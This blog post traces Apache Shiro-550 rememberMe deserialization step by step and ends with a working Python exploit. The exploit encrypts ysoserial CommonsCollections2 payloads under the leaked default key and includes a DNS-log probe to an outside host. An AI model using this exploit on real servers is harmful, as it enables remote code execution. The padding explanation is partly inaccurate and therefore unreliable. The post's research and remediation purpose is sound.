← Back to all posts
Code Auditing12 min read

Detailed Analysis of the Shiro 550 Deserialization Vulnerability and POC Development

This article analyzes the cause and code flow of the Apache Shiro 550 RememberMe deserialization vulnerability, explains its encryption and decryption processes, and demonstrates how to develop a proof of concept.

Read in Chinese→

0x00 Preface

The Shiro deserialization vulnerability dates back to Shiro 550 and was disclosed in 2016, but it continues to play a significant role in various offensive and defensive exercises today.

This vulnerability has always been very useful, particularly for breaking through lower-layer boundaries in red-team/blue-team HW exercises.

Therefore, I decided to study the cause of this vulnerability and analyze its code.

0x01 Shiro 550 Vulnerability Description

A command execution vulnerability caused by Apache Shiro RememberMe deserialization.

Apache Shiro is a powerful and easy-to-use Java security framework that provides authentication, authorization, cryptography, and session management.

Identifier: Shiro-550, CVE-2016-4437

Affected versions: Apache Shiro (because of the exposed key, some Shiro versions later than 1.2.4 are also affected)

0x02 Environment Setup

Basic Environment

Editor: IDEA 2020

Java version: jdk1.7.0_80

Server version: Tomcat 8.5.56

Shiro version: shiro-root-1.2.4

Component: commons-collections4

Setup Process

If you find the configuration troublesome, you can directly use the GitHub repository I prepared:

https://github.com/godzeo/shiro\_1.2.4\_sample.git

Standard Setup

Download it directly from:

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

After downloading it, extract the archive.

Then quietly enter the samples/web directory and directly modify the POM file. The main changes are as follows:

...
<dependencies>
    <dependency>
        <groupId>javax.servlet</groupId>
        <artifactId>jstl</artifactId>
        <!--  这里需要将jstl设置为1.2 -->
        <version>1.2</version>
        <scope>runtime</scope>
    </dependency>
.....
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
<dependencies>

Then deploy it. I deployed it directly using IDEA.

image-20200903111130024

Pitfalls:

If you use Maven to package and set up the project, you may encounter:

Failed to execute goal org.apache.maven.plugins:maven-toolchains-plugin:1.1:toolchain (default) on project samples-web: Misconfigured toolchains.

This is probably because Maven packaging requires a Java 1.6 environment here, but it does not affect runtime.

You need to modify the code in maven/conf/toolchains.xml:

<toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>/Library/Java/JavaVirtualMachines/1.6.0.jdk</jdkHome>
    </configuration>
</toolchain>

We also need ysoserial to generate the payload.

The ysoserial project source code is available here: https://github.com/frohoff/ysoserial. You can compile it yourself or directly download a precompiled release.

0x03 Code Analysis

A brief introduction to the vulnerability:

A brief overview of the exploitation process:

  • Insert a malicious payload into the rememberMe field of the cookie.

  • Trigger the Shiro framework’s RememberMe deserialization functionality, resulting in arbitrary code execution.

  • Shiro 1.2.24 provides a hard-coded AES key: kPH+bIxk5D2deZiIxcaaaA==

  • This issue occurs because developers use the Shiro framework without changing the AES key.

Encryption Process

To locate the entry point, we can start from the hard-coded location repeatedly mentioned in connection with this vulnerability. By tracing backward a little, we can find it. We only need to focus on how rememberMe is processed.

First, locate /shiro-core-1.2.4.jar\!/org/apache/shiro/mgt/AbstractRememberMeManager.class. This class is located in the shiro-core module.

We find the familiar key that is so often mentioned, so the entry point may be here:

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

image-20200902093224310

  • It inherits from the RememberMeManager class, so we trace upward and locate the onSuccessfulLogin method in RememberMeManager. As the name suggests, this method handles successful logins.
  • Next, we set a breakpoint and examine the encryption and processing flow of rememberMe to understand how it works.

image-20200902100631808

Now log in and enable debugging! Remember to select Remember Me.

image-20200902101329183

We then receive the data and step directly into the method.

image-20200902101419301

Execution enters the forgetIdentity function, which processes the request and response. Continue tracing this.forgetIdentity to enter it.

[Failed to transfer externally linked image. The source site may have hotlink protection enabled. It is recommended that you save the image and upload it directly (img-EM2oRAEz-1599130237592)(…/Library/Application Support/typora-user-images/image-20200902102404236.png)]

Continue tracing this.forgetIdentity. Execution enters the removeFrom method returned by getCookie; follow the removeFrom method.

this.getCookie().removeFrom(request, response);

image-20200902102418678

  • Here, the configuration information is obtained, and addCookieHeader ultimately places it into the cookie header of the response. This includes the familiar deleteMe and rememberMe fields, which explains the two simplest methods we use for fingerprinting.

image-20200902103223302

  • This stage then ends, and execution returns to the previous onSuccessfulLogin method. isRememberMe mainly checks whether the Remember Me option was selected. Next, step into the rememberIdentity method to see what it does.

image-20200902103501055

In the rememberIdentity method, the value of authcInfo is the root username we entered. Continue tracing the rememberIdentity function.

PrincipalCollection principals = this.getIdentityToRemember(subject, authcInfo);
this.rememberIdentity(subject, principals);

image-20200902103806491

After entering the rememberIdentity method, we find a function that converts the value into bytes. Follow convertPrincipalsToBytes.

protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
    byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
    this.rememberSerializedIdentity(subject, bytes);
}

image-20200902104614572

  • After entering the convertPrincipalsToBytes method, we find that it performs serialization, and the serialized value is the root username passed into it.
  • Continuing to trace it reveals ordinary serialization without any special operations, so I will not describe it further.
  • The encrypt method is then called to encrypt the serialized binary bytes.
  • We definitely need to follow the encrypt method and examine it.
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
    byte[] bytes = this.serialize(principals);
    if (this.getCipherService() != null) {
        bytes = this.encrypt(bytes);
    }

    return bytes;
}

We find CipherService cipherService = this.getCipherService\(\), which means that it obtains the cipher service. Looking at the result, we can see that it uses AES encryption with AES/CBC/PKCS5Padding.

protected byte[] encrypt(byte[] serialized) {
    byte[] value = serialized;
    CipherService cipherService = this.getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
        value = byteSource.getBytes();
    }

    return value;
}

image-20200902105639625

The next statement is the method that encrypts the supplied data.

Now look at this.getEncryptionCipherKey\(\). This clearly obtains the key, so follow getEncryptionCipherKey directly.

ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());

Finding the key involves repeatedly jumping around within this class. The details are shown below:

this.encryptionCipherKey
setEncryptionCipherKey()
setCipherKey(byte[] cipherKey)---setEncryptionCipherKey()
this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES)

Ultimately, getEncryptionCipherKey can be traced back to DEFAULT_CIPHER_KEY_BYTES at the beginning, which is the first key we mentioned: kPH+bIxk5D2deZiIxcaaaA==.

image-20200902110741059

The data is then passed to the encrypt function together with the key just obtained. This is where encryption takes place!

public ByteSource encrypt(byte[] plaintext, byte[] key) {
    byte[] ivBytes = null;
  
   //生成初始化向量,随后 generate:TURE
    boolean generate = this.isGenerateInitializationVectors(false);

    if (generate) {
      	 
      	//产生初始化向量
        ivBytes = this.generateInitializationVector(false);
      
      	//异常,不会进入的
        if (ivBytes == null || ivBytes.length == 0) {
            throw new IllegalStateException("Initialization vector generation is enabled - generated vectorcannot be null or empty.");
        }
    }
		//再跟进就是更加具体的方法了,基本的加密逻辑已知 序列化root key 然后还有iv
    return this.encrypt(plaintext, key, ivBytes, generate);
}

After encryption, trace the data upward until reaching the rememberSerializedIdentity method under rememberIdentity. We need to follow this method because its function is to remember the serialized identity.

image-20200902113232687

Following this method brings us to essentially the final encryption step: the encrypted data is Base64-encoded and then added to the cookie.

image-20200902113423550

Decryption Process:

Now let us continue by examining the decryption process:

  • First, determine the entry point.
  • I chose to begin the analysis where data is obtained from the client, so set a breakpoint in the getRememberedPrincipals method of the org.apache.shiro.mgt.AbstractRememberMeManager class.
  • Then refresh the page to trigger this method.

Directly follow the getRememberedSerializedIdentity\(subjectContext\) method to see what data it obtains.

image-20200902140120404

The getRememberedSerializedIdentity method contains this.getCookie\(\).readValue\(request, response\).

This reads the data from the cookie, so we definitely need to step into it.

image-20200902140447964

The readValue method then obtains the cookie value according to the cookie’s name field (which is rememberMe).

Ultimately, the rememberMe value obtained from the cookie is assigned to value and returned to the calling function.

image-20200902141852472

Back in the getRememberedSerializedIdentity method, Base64 decoding is used to convert it into binary data, which is then passed upward.

byte[] decoded = Base64.decode(base64);
  • Return once again to the AbstractRememberMeManager class.

  • The next step is the convertBytesToPrincipals method. This parses the data corresponding to the encryption process, so the data must be decrypted along the way. Continue stepping into it.

    image-20200902142717154

After entering the method, we find the decrypt() function. This is clearly where decryption occurs, so continue stepping into it.

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (this.getCipherService() != null) {
        bytes = this.decrypt(bytes);
    }

    return this.deserialize(bytes);
}

image-20200902142945142

A Detailed Look at the decrypt Function:

    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = this.getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }

        return serialized;
    }

getCipherService\(\); is an old acquaintance. It obtains the encryption algorithm: AES/CBC/PKCS5Padding.

image-20200902143418030

Finally, at this statement, after obtaining our old friend—the AES key—from getDecryptionCipherKey\(\), the ciphertext and AES key are passed into the decrypt function.

ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());

Continue into the decrypt function of JcaCipherService and analyze its internal logic.

public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
    byte[] encrypted = ciphertext;
    byte[] iv = null;
    if (this.isGenerateInitializationVectors(false)) {
        try {
            int ivSize = this.getInitializationVectorSize();
            int ivByteSize = ivSize / 8;
            iv = new byte[ivByteSize];
          	
          	//ivByteSize=16
          	//ciphertext这个数组 0-16位 覆盖到 iv数组 ,相当于给 vi赋值 ciphertext的前16位
            System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);
          
          	// 
            int encryptedSize = ciphertext.length - ivByteSize;
            encrypted = new byte[encryptedSize];
          	
           	// ciphertext数组 ,从 16位后面的数据 赋值给encrypted 
            System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
          
        } catch (Exception var8) {
            String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
            throw new CryptoException(msg, var8);
        }
    }
  //进入下一层解密
  return this.decrypt(encrypted, key, iv);
}

After reaching the decrypt method of JcaCipherService, continue into the crypt method.

private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException {
    if (log.isTraceEnabled()) {
        log.trace("Attempting to decrypt incoming byte array of length " + (ciphertext != null ? ciphertext.length : 0));
    }

    byte[] decrypted = this.crypt(ciphertext, key, iv, 2);
    return decrypted == null ? null : Util.bytes(decrypted);
}

Execution reaches the crypt method in JcaCipherService.

private byte[] crypt(byte[] bytes, byte[] key, byte[] iv, int mode) throws IllegalArgumentException, CryptoException {
    if (key != null && key.length != 0) {
      
   			//初始化cipher,再跟入就是 原生的 cipher.init 解密方法了
        Cipher cipher = this.initNewCipher(mode, key, iv, false);
      	// 基本完成解密
        return this.crypt(cipher, bytes);
    } else {
        throw new IllegalArgumentException("key argument cannot be null or empty.");
    }
}

Decryption Completed and Deserialization Begins

After decryption is complete, the code returns step by step to the calling functions until it reaches the decrypt method of AbstractRememberMeManager. Looking at the data, we can see serialized data beginning with r00.

image-20200902161947628

Continue returning upward, and we can see the deserialize deserialization method.

image-20200902162647497

Continue tracing until reaching the deserialize method of DefaultSerializer, where we finally encounter the long-awaited readObject() method.

image-20200902162819610

0x04 Writing the POC and EXP

A Few Notes About the AES Encryption Used Here:

  • Some encryption algorithms require plaintext to be aligned to a specific length, known as the block size (BlockSize). In this case, it is 16 bytes. For an arbitrary piece of data, the final block must therefore be padded to 16 bytes before encryption, and the padding must be removed after decryption.
  • AES has three padding modes (PKCS7Padding/PKCS5Padding/ZeroPadding).
  • The difference between PKCS7Padding and PKCS5Padding lies in how the data is padded. PKCS7Padding pads the missing bytes with zeros, while PKCS5Padding pads the missing bytes with the number of bytes missing. For example, if six bytes are missing, it adds six bytes with the value 6.

The encryption process is as follows:

  • Use AES/CBC/PKCS5Padding mode.

  • random = this.ensureSecureRandom\(\); uses a random number generator to generate ivBytes.

  • The key is the reserved hard-coded key.

  • Generate the result using encrypt\(plaintext, key, ivBytes, generate\).

  • Finally, Base64-encode the data and place it in the cookie.

From the decryption process, we can determine the following:

  • AES/CBC/PKCS5Padding mode is used, so the key must be 16 bytes long. The key is the reserved hard-coded key.

  • Base64-decode the value of rememberMe in the cookie.

  • According to the decryption process, the IV is the first 16 bytes of the ciphertext.

  • The IV is therefore the first 16 bytes of the decoded rememberMe value.

  • With the key and IV, the serialized data can be decrypted.

Therefore, the encryption process for our POC is:

  1. Obtain the serialized data.
  2. Set the AES encryption mode and use the AES.MODE_CBC block cipher mode.
  3. Set the hard-coded key.
  4. Use a random number generator to generate a 16-byte IV.
  5. Concatenate the IV with AES encryption \(serialized data\).
  6. Finally, Base64-encode the entire content.

Exploitation Approach

The main Apache Commons version imported here is:

<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>

Therefore, our EXP uses the CommonsCollections2 gadget chain.

The approach mainly relies on ysoserial to generate the serialized exploit data and then incorporates the gadget chain according to the encryption process.

Python Code

import base64
import sys
import uuid
import subprocess

import requests
from Crypto.Cipher import AES


def encode_rememberme(command):
    # 这里使用CommonsCollections2模块
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)

    # 明文需要按一定长度对齐,叫做块大小BlockSize 这个块大小是 block_size = 16 字节
    BS = AES.block_size

    # 按照加密规则按一定长度对齐,如果不够要要做填充对齐
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

    # 泄露的key
    key = "kPH+bIxk5D2deZiIxcaaaA=="

    # AES的CBC加密模式
    mode = AES.MODE_CBC

    # 使用uuid4基于随机数模块生成16字节的 iv向量
    iv = uuid.uuid4().bytes

    # 实例化一个加密方式为上述的对象
    encryptor = AES.new(base64.b64decode(key), mode, iv)

    # 用pad函数去处理yso的命令输出,生成的序列化数据
    file_body = pad(popen.stdout.read())

    # iv 与 (序列化的AES加密后的数据)拼接, 最终输出生成rememberMe参数
    base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))

    return base64_rememberMe_value


def dnslog(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_rememberMe_value


if __name__ == '__main__':
    # cc2的exp
    payload = encode_rememberme('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
    print("rememberMe={}".format(payload.decode()))

    # dnslog的poc
    payload1 = encode_rememberme('http://ca4qki.dnslog.cn/')
    print("rememberMe={}".format(payload1.decode()))

    cookie = {
        "rememberMe": payload.decode()
    }

    requests.get(url="http://127.0.0.1:8080/web_war/", cookies=cookie)

0x05 Remediation

  1. Upgrade Shiro to the latest version.

  2. Upgrade the corresponding JDK version to 8u191/7u201/6u211/11.0.1 or later.

  3. Use a WAF to block excessively long rememberMe values in cookies.

0x06 Summary

This time, ysoserial was used to directly generate the serialized content, and the CommonsCollections2 gadget chain was used for straightforward exploitation. However, real-world exploitation is extremely complex and depends on the Java version and the versions of various components. To create a perfect gadget chain, you still need to modify it yourself. In the next article, I plan to study various gadget chains and how to adapt them for compatibility.

0x07 Quick Tips:

How can you search for content inside library packages?

image-20200902091323860

Press Shift twice to open the global search box, which allows you to search for classes inside JAR files.